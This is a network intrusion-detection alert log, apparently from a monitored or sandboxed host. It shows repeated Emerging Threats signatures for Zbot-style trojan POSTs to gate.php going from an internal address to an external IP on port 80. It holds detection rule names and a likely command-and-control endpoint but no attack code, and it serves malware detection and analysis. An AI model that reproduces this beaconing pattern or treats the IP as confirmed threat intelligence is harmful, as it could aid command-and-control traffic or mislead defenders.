08/15/21-08:41:47.423904	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.423904	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.569235	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.569235	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.569235	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.724624	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.724624	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.724624	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.871465	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.871465	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:47.871465	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.019188	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.019188	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.019188	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.162692	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.162692	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.162692	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.302985	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.302985	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.302985	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.440749	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.440749	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.440749	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.581330	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.581330	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.581330	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.724402	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.724402	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.724402	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.863013	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.863013	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:48.863013	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.003741	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.003741	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.003741	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.144742	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.144742	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.144742	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.287500	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.287500	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.287500	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.442692	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.442692	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.442692	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.580653	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.580653	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.580653	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.721139	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.721139	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.721139	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.862614	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.862614	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:49.862614	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.007170	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.007170	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.007170	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.148117	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.148117	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.148117	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.287029	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.287029	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.287029	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.425697	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.425697	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.425697	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.569191	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.569191	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.569191	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.709035	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.709035	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.709035	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.846656	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.846656	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.846656	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.989994	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.989994	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:50.989994	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.131205	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.131205	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.131205	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.267589	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.267589	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.267589	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.411853	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.411853	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.411853	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.551028	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.551028	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.551028	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.693774	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.693774	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.693774	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.831328	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.831328	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.831328	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.975015	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.975015	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:51.975015	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.115366	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.115366	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.115366	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.253219	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.253219	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.253219	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.393554	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.393554	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.393554	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.537603	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.537603	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.537603	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.673984	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.673984	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.673984	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.817079	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.817079	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:52.817079	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.010536	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.010536	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.010536	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.314711	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.314711	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.314711	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.460537	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.460537	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.460537	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.612260	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.612260	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.612260	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.753312	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.753312	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:53.753312	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:54.262257	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:54.262257	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:54.262257	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:54.409241	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:54.409241	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:54.409241	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:54.550347	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:54.550347	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:54.550347	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:54.713139	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:54.713139	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:54.713139	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:55.815683	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:55.815683	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:55.815683	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:55.959526	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:55.959526	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:55.959526	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.096920	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.096920	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.096920	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.242362	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.242362	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.242362	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.377668	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.377668	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.377668	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.521200	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.521200	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.521200	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.660002	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.660002	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.660002	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.801010	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.801010	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.801010	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.941800	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.941800	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:56.941800	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.087570	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.087570	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.087570	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.237419	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.237419	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.237419	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.381262	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.381262	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.381262	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.535202	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.535202	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.535202	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.676163	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.676163	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.676163	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.819658	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.819658	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.819658	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.957921	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.957921	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:57.957921	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.096819	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.096819	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.096819	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.239188	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.239188	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.239188	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.378178	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.378178	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.378178	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.518369	TCP	2022986	ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.518369	TCP	2022985	ET TROJAN Trojan Generic - POST To gate.php with no accept headers	49777	80	192.168.2.4	94.103.80.169
08/15/21-08:41:58.518369	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49777	80	192.168.2.4	94.103.80.169
